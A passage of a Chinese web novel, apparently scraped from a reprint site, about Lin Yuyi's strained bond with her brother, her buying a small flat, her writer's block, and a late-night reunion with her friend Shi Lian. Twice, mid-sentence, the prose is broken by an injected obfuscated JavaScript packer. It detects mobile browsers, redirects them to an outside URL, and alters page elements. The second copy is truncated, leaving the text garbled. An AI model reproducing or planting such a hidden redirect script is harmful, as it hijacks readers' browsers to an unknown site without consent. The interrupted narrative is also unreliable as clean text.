她早该联系王登高的,从第一天开始就该联系,可是她那会儿又想,她还的是王登高的钱,王登高会不知道吗?还需要她来通知吗?不需要。于是就这么拖啊拖,一直拖到了现在。 可真是奇了怪了,这么些天,王登高竟然都没有主动联系她。这么大的事儿,他就没想着问问她?啧。 王心宜倒是打电话和林羽翼说过一两句,可没说几句就挂了。债款毕竟是王登高和林羽翼的家事,王心宜不好多说,而林羽翼自己呢?她知道,只要她愿意向王心宜倾述,王心宜一定会敞开心扉认认真真听她述说这段时间的经历,她瓶颈期时的痛苦,赚不到钱时的焦虑,暴富后飘上云端的快乐,所有所有的情绪,王心宜都愿意承接,愿意消化,愿意予她安慰,愿意与她同乐。 林羽翼清晰地知道,王心宜真心把她当做亲妹妹一般爱护,可正因为王心宜的爱,她反而觉得……无法向她开口。 随着年龄的增长,林羽翼越来越明了王心宜与哥哥的关系——他们终究会成为一家人,他们是一体的。可是到如今,林羽翼都无法面对自家哥哥,心底始终抵触着与他的交谈、与他碰面,甚至,厌恶着他。而这份厌恶,到了王心宜这里,便成了一缕缕难以启齿的愧疚。 林羽翼越是厌恶、越是看不起自己的哥哥,便越觉得愧对王心宜。 愧对王心宜对自己的好。 …… 林羽翼最终给王登高打了一通电话。 电话打通后,两边都是一阵沉默。 王登高没有询问林羽翼的近况,没有询问林羽翼过得如何,什么都没有问。林羽翼在电话这头,只听得见他微微沉重的呼吸声。 于是林羽翼也什么都没问。 她只是说:“债款我还清了,我的生活你不用担心,至于你自己……你以后就好好过。” 语气淡淡的。 还有压抑不住的咄咄逼人。 林羽翼看不见,电话那头的王登高喉结地上下起伏,像是有什么东西痛苦地哽在里面。林羽翼只听见,他用同样淡漠疏离的语气问: “没别的话要说了吗?” “没了。”林羽翼摇头。 又是短暂的沉默。 打破沉默的,是王登高那边的声音。 “王哥!王哥,五栋那边有情况!有个业主他封阳台,防水槽还没来得及安装,昨儿不是下暴雨漏水了吗?他和楼下吵起来……就要打起来了!我们劝不住,麻烦王哥你去看看。” 林羽翼没听清具体在说什么,只听见那边语气很急,她垂眸:“你去工作吧,我不打扰你了。” “好的,挂了。”挂断电话,王登高起身戴上制服帽,快步走出办公室,几步路竟走出雷霆万钧的气势,“这就去。” “谢谢王哥!靠你了!”小保安乐呵乐呵地跟在王登高身后,难掩目光中的崇拜,“哥,我什么时候能像你一样厉害就好啦!” 两三年时间,王登高早已从保安做到了保安队长,最后进了物业后勤区的管理团,虽然赚得不如那些白领,可怎么也算是个威威风风的小领导。 “慢慢来吧。”王登高声音很缓,很有大哥风范。 他的脸色却是黯淡灰暗的。 他在想,自己明明已经活出了人样,明明……早已改头换面,可是在妹妹眼里,他似乎依旧是以前那个,不人不鬼的废物。 他听出了妹妹语气中的疏离与烦躁。 因此,他始终不知道该怎样面对妹妹,怎样忘怀,怎样与过去的自己和解。 就这样过着吧。 55.第8章 林羽翼终于买到属于自己的小房子,是在两年后的春天。 她陆续地看了几个小区,电梯的、带泳池的、三五层小洋房的,有新房,有二手房。 广都的新房大多在河边,林羽翼沿着府河岸边一路往下走,忽的发现,养鸭户离开后,原本荒芜杂乱的河滩不知何时变了样。 河水依旧浑浊,但那股刺鼻的腥味已经稍稍褪去,河滩两岸则是改头换面了般,左岸被修整成一条古典的欧式风情街,穿过火红鲜艳的法式廊桥,走进街道上,仿佛置身于百年前宁静的欧洲小镇。 林羽翼并不是第一次来这里,她在欧洲街尽头的电影院看过几次电影—— 和广都镇中心老旧的电影院不一样,这座新影院装修更漂亮,屏幕更大,座椅坐着更舒服,就连厕所都干净不少,周围环境也更开阔,对面便是幽静的森林公园别墅区,楼下是警卫亭,再不会像城中那般杂乱无序、走几步便是眼神阴恻的小混混小太妹。 这几年,广都城中心最乱的地带,早已不会像前几年那般“危险”,溜冰场早已倒闭,换成了一家大书店,派出所巡逻次数越来越多,满街小混混小太妹早没了踪迹。 可林羽翼总是会回忆起高一时的经历,一想起师涟差点在那里遭遇抢劫,她便本能地抗拒,宁愿打车去更远的河边看电影,也不想到城中看。 不过林羽翼还是第一次走进河边的欧式小街,往河右岸看,是一片规划得漂漂亮亮的河边公园,一直沿着河修到无边的远方。仰头往右看,目光越过那一排欧式建筑,能看见天际线上一列列崭新电梯公寓的脑袋。 走到开阔处,望着眼前宽阔河湾,吹着凉爽河风,林羽翼一时都有些没反应过来—— 广都的府河沿岸,竟然有了几分繁华蜀都城的影子。 河边的这些小区质量都很不错,无论是新房还是旧房,出行方便,电影院、大商超一应俱全,河景秀丽——远看勉勉强强吧,公园空气清新,可林羽翼跟着中介看啊看的,看完一套又一套房子,最终却看回了广都南边城郊,看回了她租房的小区。 或许是在这里住久了吧,要她忽然换个环境,搬去别的小区,她还真不习惯。 再说了,这房子也不差呀,独一无二的园林设计,林羽翼看了那么多新修的小区,没一个绿化比得上这里!附近虽然没有电影院,没有大商超,骑着电瓶车进广都城中心也不远呀!要么打个车,花不了多少时间。至于日常生活嘛?楼下就是大市场,是粮站,该有的都有,林羽翼也不去想什么有的没的。 或许,她回选择在这里买房,还有个原因是…… 师涟一家也在这里。 师涟去京都读研以来便很少回家,林羽翼与她见面的次数越来越少,可孙阿姨却隔三差五就上门来拜访她,日日约着她夜间在小区里散步锻炼。工作再忙再累,孙阿姨也惦记着她。或许是女儿常年在外的原因,孙阿姨把对女儿的那份关爱,挪了些许在林羽翼身上。 林羽翼没有感受过母爱,对她来说,孙阿姨就像是亲生母亲般对她好。她没有什么联系紧密的亲戚——除去王登高,对她而言,师涟一家就像是她为数不多的亲人。 她想要住得离他们近一些。 林羽翼暂时买不起一楼带院子的房子,买不起风景最好、最为幽静的中庭,她选了个小面积套二的二手房,总价不高,刚刚花完她所有积蓄。 房子在临街的二楼,东侧有个五六米长的大阳台,用来种些花花草草足够,西侧正对着小区里,不在中庭,但窗外的树荫也足够茂密。 搬家那天,林羽翼没有通知任何人。 她一个人把东西收拾好,搬了一趟又一趟,最后一趟,她抱着猫,走进独属于自己的小家,看着一屋子狼藉还没收拾,就那么满心幸福地瘫倒在床上。 忙活一天已经很累了,但稍稍恢复一会儿,林羽翼还是艰难地爬起身,拿出在小区外蛋糕店买的草莓小蛋糕,点亮蜡烛,给自己办一个简陋的搬家仪式。 关上灯,烛火摇摇曳曳。 林羽翼拍了张照片,顺手发给师涟,然后开灯吹灭蜡烛,三两口吞下蛋糕,迅速把屋子收拾得能看,这才瘫在床上沉沉睡去。 第二天,她难得睡了个懒觉。她前天刚刚写完自己的第十三本书——这两年里,她写书赚的不比前两年少,但写的速度越来越慢,每天码字的字数也越来越少。 最开始,林羽翼一两月就能写完一本书,到后来瓶颈期时,四五月、半年才能完结,现在呢?八个月甚至一年时间都不够。 每本书完结后,林羽翼需要的休息时间也越来越长,她能清晰的感觉到,写得越多,自己的大脑就越接近干涸。她落笔时字字句句写得越来越熟练,各类成语、句式亦或是文体信手拈来,可她脑海里迸出的灵感却越来越少。 用网文圈的术语来说,她的匠气越来越重,灵气却一点点消散。 她的第二次瓶颈期来临了。 而这一次,她需要花费比上一次更长的时间,更多的精力,一点点地去克服瓶颈,走出瓶颈。 “呼……”林羽翼睁开眼,在床上翻过身,感觉到正午阳光漏过树缝洒在她身上,暖洋洋的,她看着窗外绿油油的树荫,一时还想赖赖床。 她打着哈欠摸出手机,只有师涟回了她一句“恭喜搬迁”,没有别的任何信息。 除了师涟,她压根没把搬家的事儿告诉任何人。 林羽翼准备一切收拾妥当,再登门把这事儿告诉孙阿姨。这两年互联网飞速发展,网购逐渐走进大众视野,孙阿姨乘着这股风,网店越做越大,还上了网站官方展台呢!孙阿姨一天天的忙得不可开交,不是飞这儿飞那儿的,看工厂,看仓库,开会看展,就是在家目不转睛盯着电脑看店。只有每年盛夏,她才腾出那么几天时间,和林羽翼一块儿去西岭山避暑。 自从第一年她俩去了西岭山,她们仿佛无言地约定好了似的,往后每年都去。 在山里时,孙阿姨常常感慨:“你们这些小年轻啊,就喜欢城里热闹的地方,我们这些上了年纪的呢?就总想往山里跑。以后我老了,干不动活儿了,就回村里悠悠闲闲过日子,冬天冷了,就去南方避寒,夏天热了,就来山里避暑。我和涟涟她爸都是这么打算的,以后就留涟涟自个儿在城里打拼。” “孙阿姨,师涟她也想陪着你们呢。”林羽翼说。 孙阿姨深深地看了她一眼,笑着摇头:“她啊……才不会呢。” 不知道为什么,听着孙阿姨这话,林羽翼心里有股淡淡的心虚。师涟不会跟着孙阿姨回村过上悠闲的生活,就像她也不会再回到村里和王登高生活一样—— 嗯,王登高回蜀都了。 去年秋天,他和王心宜纷纷辞掉沪城的工作,一起回了蜀都。王登高依旧找了家小区当保安,王心宜依旧在大商超的专卖店里卖衣服,和沪城唯二的区别是,第一,他们不用再在外租房,两人一同住在新村的小院儿里。第二,比起在沪城那段时间,他们每个月的工资缩水整整一半。 如果不是王心宜,林羽翼压根不知道他们回来这事儿。 “小鸟,我和你哥已经安顿好啦,你放心,工作我们都找上啦,做了几天工,没问题的,蜀都话我听得懂,我跟着你哥在学呢。我们这不怕你担心吗?所以这会儿才告诉你。” 那天她也不知道怎么回事儿,听着王心宜笑盈盈的语气,她心里五味杂陈,堵地厉害,甚至有点说不清道不明的愤怒。 回蜀都? 怎么就这么一声不吭地抛下沪城稳定的工作,忽然回了蜀都?债还完了,他这人真就轻松下来啦? 尽管知道,自己不该管王登高,王登高怎样和自己有什么关系?他是个独立的成年人,他做什么都由他担责,再影响不到同样已经长大、已经独立的林羽翼。 她不该干涉王登高的生活,也没有资格干涉。 可林羽翼心里依旧堵。 挂掉王心宜的电话后,林羽翼立马打电话诘问王登高,是她自己都没想到的气势汹汹: “你怎么突然回蜀都?” “钱还完了就想回来过轻松日子?蜀都工资多少?沪城工资多少?人家去沪城打工是为了攒钱回蜀都,你呢?你攒下钱了吗你就回来!你都不为你自己——不为心宜姐以后考虑吗?” 王登高只是沉默地听她说着。 可王登高越是沉默,林羽翼心里那把火就烧得越旺盛,仿佛回到了五年前的那个夜晚,她在河边一句一句地痛骂王登高,却没有得到一丝回应的那晚。 不同的是,这回,王登高最终还是回应她了。 在林羽翼质问他为什么不说话时,他闷声回应她说:“你都说了那么多,我还能说什么呢?林小鸟,本来,我们也没什么可说的了。” 上次,是林羽翼告诉王登高,他们无话可说。这回,却是王登高这么对她说。 林羽翼愣住了。 直到王登高挂断电话,听着电话里的嘟嘟忙音,林羽翼依旧愣着神。 她没有再回拨电话,王登高同样没有再联系她。 就这么过了许多天,林羽翼忽然意识到,她和王登高这算是……彻底决裂了? 是吧……? 林羽翼不知道。 她不想往深了探究。 就这样吧。 积累了那么、那么多年的怨恨与不满,在这一刻终于爆发,没什么不好的,不是吗? 就让王登高自己过自己的日子去,他们从此再不相扰,折磨她五年的梦魇终于可以褪去了。 也挺好的。 可是想通的那一瞬间,林羽翼忽的觉得心里空荡荡的疼,仿佛心脏突然被挖了一块儿,钝痛沿着裂口边缘扩散,直至填满整颗心脏。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426187|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽翼想要哭,却一点儿哭不出来。她沿着小区的林荫小道,无神地走了一圈又一圈,停在竹林前,停在荷花池边,停在喷泉旁,一次次掏出手机,本能地想要打电话找人倾诉,手指已经摁出师涟的号码,可反应过来,又摁回了主页面。 林羽翼一个字也没给师涟发。 最后,林羽翼走到小区门口的超市里,买了瓶啤酒,回家仰头灌进胃里,一个人痛痛快快地闷在床上睡了一觉。 …… 一个人生活,一个人居住,一个人搬家。 一个人消化生活中所有的苦与痛。 毕业第四年,一个人生活的第四年,林羽翼明明早已习惯这样的生活,却在搬家后的第一天早晨,看着窗外稀稀落落的阳光,觉得孤独。 …… 觉得孤独的不止林羽翼。 与此同时,千里之外的首都。 师涟刚刚从睡梦中醒来,不是因为她赖床,而是昨晚加班到凌晨四点,她迷迷糊糊地才睡几小时,又得起床开始新一天的工作。 地下室小房间里很昏暗,“啪嗒”一声,开了灯,依旧分不清昼夜。 师涟揉揉因为熬夜而干疼的眼睛,拖着疲倦的身躯从被窝里卷起身,耷拉着身子去洗漱收拾。 出门前她看一眼手机,已经正午十二点了。 毕业步入工作以来,她好像已经习惯了这种昼夜不分的混乱生活。 师涟穿上大衣,一手拎起包,把相机垮在腰间,推开地下室房门,沿着依旧昏暗无光的走廊走一会儿,上了楼梯,走到尽头的木门处。 她利落的步伐顿了顿,伸手,似乎有些犹豫。 片刻后,那一丝犹豫消失,她用力推开房门。 正午刺目的阳光从门外洒入,暖阳洒在师涟身上,却没有驱散她一身地下室里的阴湿,反而刺得她闭上了眼。 好几秒后,师涟才睁开眼,沿着逼仄的街道前行。 街道并不昏暗,微热的阳光洒满每个角落,街两旁堆满了小摊贩的货物,落脚需要非常小心。店铺里没有吆喝声,并不吵闹,只有窸窸窣窣的聊天声。街口有一家葱油饼店,老远就能闻到饼香,师涟每早都会在这里买一张饼吃。 师涟在这里住了大半年,她对这里的一切都很熟悉,大到每一个店铺,每一位店主和巷子深处的租客,小到店里的猫猫狗狗,甚至哪家人养的小鱼。 师涟并不是一个喜欢社交的人,但不喜欢,不代表她不会。 她会捏着八面玲珑的温和笑容,也会热心肠地帮巷里邻居一些力所能及的小忙。 她会拿起相机拍下小巷里的一切,每一个人,每一处花草,每一只猫狗,会将照片分享给它的主人,并且因此与巷里人熟络起来。 可是走在这条小街上,师涟的目光却有些迷茫。 是的,迷茫。 仿佛她根本不了解这里,根本不熟悉这里,根本不属于这里的迷茫。 不,她本来就不属于这里。 走出安静的小街道,在斑马线前等待十来秒,走过第一个红绿灯口,上地铁,戴上耳机,在拥挤的地铁里扶着扶手,听着耳机里的歌声,仿佛与世界隔绝,与人群隔绝,周围所有人都与她一样,戴着耳机,埋头沉浸在自己的世界里,半小时后离开地铁,沿着旁边小区栅栏的蔷薇花墙走一截路,走到尽头,走上过街天桥,看看桥下永不停歇般的车流,抬头被铝合金外立面反光刺得眼睛疼,四周商业大厦林立,在夜晚会发出五彩斑斓的灯光。 从幽静的胡同小巷到繁华的钢筋森林,接近一个小时,师涟从住处走到了她上班工作的地方。 这是她每天都会走的路。 来来回回。 每天都能看见一模一样的高楼,白天是闪着光的商业楼外立面,夜晚是晃眼的霓虹世界,蔷薇花开花谢,只在冬季凋零。 师涟熟悉路上的一切,她用镜头一遍一遍地记录下路上的一切。那天夕阳很美,她打开相机,咔嚓。那晚车流光影流淌,她打开相机,咔嚓。今天蔷薇花开正盛,她拿出相机,咔嚓。 但她的目光依旧迷茫。 不管她在这里生活多久,不管她有多熟悉这里,不管是安静的胡同小巷还是热闹繁华的商业区,走过这里时,她心里始终有一个声音,在告诉她: 这里不属于她。 她不属于这里。 京城是什么样呢?对于千千万万毕业留在这里的年轻人来说,它是逐梦之都,是世界中心,是拥有无限可能性的创造未来之地。师涟亦是这千万人之一,可她只觉得,她在这里,只是一个脚步匆匆的过客。 她只是一个过客。 她的家,在千万里之外的广都。她的灵魂在那里,她的家人在那里,她的所爱亦在那里,她的一切都在那里,在千万里之外。 可她的身躯不在那里。 她很孤独。 56.第9章 初夏。 蜀都的夏夜是闷热的,可又不够热,开着风扇总觉得闷,开空调呢?又凉过头了。林羽翼只能忍受着热气蒸腾,一边吹着风扇码着字,时不时拿起蒲扇用力扇那么两下。 这天气,她都不想出门散步,更何况这些天孙阿姨到蜀都工厂忙去了,好几天没回小区。没人约着一起散步锻炼,林羽翼自己也就没那兴致。 “热啊……” 热是其次,更让林羽翼烦闷的是,她一个字也写不动。第二次瓶颈期比第一次来得更猛烈,更难以突破,已经大半年时间了,她一坐到电脑面前就想要吐血,是的,已经不只是胃里翻江倒海的恶心感了,而是从嗓子眼里蛄蛹出的翻砂般的恶心感。 比上一次瓶颈期幸运的是,现在的林羽翼不用再过分地因为金钱而焦虑,她还清了债款,有了属于自己的小房子,往后余生就这样优哉游哉地过着也成,没什么可忧心的。当然,更重要的是,两年时间,她长大成熟了不少,她想得开,也更会调整自己的心态。 她相信自己有时间、有精力,也有能力,慢慢地去磨过瓶颈期。 艰难地在键盘上敲下一句话,林羽翼长长地吐口气,整个人往前面一趴,无力瘫倒在电脑桌上,视线一点点从屏幕上挪开,沿着窗外的树荫往外看。 小叶榕树枝一缕一缕地往下垂着,深绿色树叶在闷热的微风吹拂下轻轻晃荡,往下,往上。林羽翼的目光随着树叶,往下,往上,往下,然后顿住,眼睛倏地睁大。 她在树荫婆娑中,看到了一个纤薄挺直的身影,一个她无比熟悉的,无论何时都能一眼认出的身影。 她看到了师涟的身影。 朦胧路灯下的高挑身影。 略显纤细的瘦高身躯,穿着宽松的黑白条纹修身T恤长衫,衣服似乎是丝绸质地,松松垮垮地露了半边肩膀,白皙肌肤上衬着一条银色项链,林羽翼一眼就认出,那是孙阿姨店里的款式,她脖子上也戴着同款,腰间懒懒系了条腰带,将本就高挑的身姿分割出完美的比例线。 林羽翼身子一下子坐直,心脏怦怦直跳,目光依旧死死盯着飘窗外的身影。 师涟正埋着头,单手拿着相机,不知在捣弄着什么。她的站姿利落干练,气质和学生时代截然不同,像个成熟的社会人了。 林羽翼再看看自己身上邋里邋遢的睡衣凉鞋,呆愣愣地想,又是一年多没见,师涟长大了不少,而她好像还是和刚毕业那会儿一样,没有一点儿变化。 忽然,师涟抬眸,往林羽翼的窗口望了一眼。 尽管知道楼下看不见窗子里的情形,可林羽翼呼吸还是紧张地滞了一下,喉咙不自觉上下吞咽,好几秒后,她才忽的回过神来,一跃起身下楼开门。 ……师涟! 林羽翼本想呼喊出声,可推开单元门的那一霎,她的声音又哑在了嗓子里。 “嘭”一声,单元门巨大的声音响彻楼道,惊得林羽翼不好意思地靠着门框停住脚步,同时惊得师涟抬眸,一下子与她对视。 林羽翼张嘴,舌尖动了动,没有出声。 师涟看着她,安静几秒后,唇角微微向上勾起一个轻柔的笑:“不邀请我上楼坐坐吗?” “你……我……”林羽翼含糊吐出两个音节,自己也不知道自己在说什么,她三两步跑到师涟面前,替她拉起身后的行李箱,哒哒哒把行李箱搬上楼,林羽翼才反应过来: “师涟你放假不回家吗?我、我帮你把行李提去你家?” 林羽翼扛起箱子,气喘吁吁地就要往楼下跑,却被师涟拦住。 “不回家。”师涟摇摇头,“不是放假,只是来蜀都出差,时间不多,就不告诉爸妈他们了,免得他们还得抽时间顾着我。” “出差?”林羽翼一怔,“人家都是寒暑假放假,你寒暑假出差?” “可不是吗?我又不是老师,哪儿来的寒暑假?”师涟把相机解下,往沙发上一扔,自己也随性地躺了上去,舒适地长叹一口气,像是紧绷许久的身心终于得到休憩,她缓缓地说,“做我们这行,一年四季一天到晚除了加班还是加班,尤其对我这种新人来说,能有个休息的时间就不错了,哪儿敢盼望假期呢?” 说着,师涟手臂自然地往前一伸:“有水吗?” “有,还有冰。”林羽翼往水杯里加上冰球,这才把杯子递给师涟,“一段时间没见,怎么跟大爷似的。” 明明以前,林羽翼才是那个“大爷”。 师涟也不客气,仰头咕哝咕哝把水喝完,舒爽地呼口气:“早晨我就到蜀都了,本来想歇会儿,谁知道刚下飞机,组长那边又来个消息,让我去市里紧急补拍一份素材。我这种新人就是个打杂的,和组里对接也对接不上,折腾大半天,到晚上终于忙活完,这才找同事搭了个顺风车回广都。” 说话时,师涟身上带了股匪气,林羽翼听得新奇,仿佛重新认识了一个以前从未见过的师涟,可同时,她听出了师涟语气中惯有的疲倦,那一丝疲倦在师涟嗓子眼儿里扎了根,连师涟自己都没察觉,林羽翼又觉得心疼。 “还没吃晚饭?”林羽翼手指抚过师涟的额头,轻轻摁,“吃点儿什么?” “都行。”师涟转身,趴在沙发边缘,仰头软绵绵地看着林羽翼。 林羽翼被她流转的目光盯得起了一身鸡皮疙瘩,后退一步,手指没来得及撤开,被她轻轻抓住。 “我、我去给你做点儿吃的。”林羽翼慌张转身往厨房走去,进了厨房打开冰箱,慌乱的心跳平复,她才意识到,自己家能有什么吃的呢?她是个懒得做饭的人,每天中午自己煮煮面煮煮粥,晚上就靠牛奶和水果应付过去,厨房里除了几把大白菜,别的什么新鲜菜也没有。 林羽翼不好意思地摸摸鼻子,探头问:“师涟,吃面吗?” 脑袋刚从厨房探出去,却发现师涟已经走到面前。 “吃。”师涟点头,走进来洗手,“我来给你打下手。” “煮个面还需要你帮忙呢?”林羽翼失笑,抬手指指客卧,“去换个舒服的睡衣,等着吃就成。” “好嘞。”师涟甩甩手上的水,晶润的水珠沿着纤长指尖滑落,姿势显得随意又飒爽。 师涟就是这样,优雅端庄时便优雅端庄,肆意随性时便肆意随性,她怎样舒服便怎样行动,从不伪装,活得永远自在。 林羽翼拆几片白菜在水流下冲干净,打个鸡蛋,噼里啪啦下到油锅里煎到金黄溏心,把蛋捞出来,再加水加菜加面。几分钟后,一碗香喷喷的鸡蛋面出锅,林羽翼端起面一转身,便看见师涟已经换上一身居家睡衣,靠在厨房门口看着她,不知看了多久。 “还有西瓜,吃吗?”林羽翼把面端给师涟。 “吃。”师涟端着面走向餐厅,一点儿不客气,“有酒吗?” “你……还喝酒呢?”林羽翼打开冰箱,没有立刻把里边的鸡尾气泡酒拿出来。 她深夜失眠时,偶尔会喝点小酒。 “平时不喝。”师涟语气温柔,“只在特殊的日子喝一点。” “特殊的日子?”林羽翼挑眉。 “比如……”师涟语气中染上笑,“久别重逢。” 林羽翼手指扣住罐装鸡尾酒,同样笑了:“那是得喝喝。” 林羽翼开了空调。 两个人趴在飘窗边,喝着小酒,吹着凉风,聊着生边或大或小的一件件事儿,夜晚的时光如水般从指缝流逝。 鸡尾酒的度数不高,但或许是两人都不胜酒力的原因,竟有些喝醉的苗头,话匣子打开了,就收不住似的。 聊得最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最后,师涟放下手里那罐空空的鸡尾酒,整个人无力地趴在窗台上:“京城啊……明明是那么多人奋力追逐的造梦之地,我却一点儿不喜欢那儿,我总觉得,自己在那里,就像随水漂流的无根浮萍,像无家可归的孤儿,像,像……” 醉酒的她想不出像什么,只哽着嗓子说:“林羽翼,我想回广都。” “好想好想回来。”她缓慢地摇头,“可是不行……林羽翼,我才毕业一年,还什么都不懂,什么都不会……赚不到几个钱,回来更找不到工作……林羽翼,我还不能回来,还不能,现在还不能。” “林羽翼,我没有回来的资本。” 林羽翼看见,朦胧灯光下,师涟的眼角沾上了钻石般的泪珠。 林羽翼轻轻抚上她的颧骨,指尖向上,擦掉那颗泪滴,眼眶同样发酸。 是从什么时候开始的呢? 在她的记忆中,师涟从来都从容不迫,从来都悠闲自在,从来都看得透彻轻松,从来不会去做那些拼命努力突破自己极限的事。可是这几年里,师涟忽然就“变”了,变得拼命,仿佛前面有一片看不透的迷雾挡在师涟面前,雾里有什么东西勾着她拼了命地想要去拿。 拿不到,她就不甘心。 林羽翼张了张嘴,心疼道:“师涟,不管工作不工作,你有退路,回来继承家业也不错,不用那么、那么累着自己。” 就算师涟不工作不赚钱,靠着孙阿姨和师叔叔的店,已经能活得比绝大部分人都滋润了。至少林羽翼上个月还听到,孙阿姨正在到处给师涟看房呢,准备给她买套大房子,等她从京城回来就能搬进去。 “家业?”师涟噙着泪,笑了,“爸妈的东西始终是爸妈的,不是我的,我想要的,我得自己挣到,他们给不了我。” “是这个理,可是……”林羽翼声音停顿,她低头,透过朦胧光线与氤氲在眸中的水汽,直视师涟的眼睛,问,“师涟,你想要什么?” “想要……” 那晚,林羽翼没听清,只依稀听得,师涟似乎说的是“未来”二字。 想要未来。 想要自己亲手劈下的一片天。 一片……广阔山海。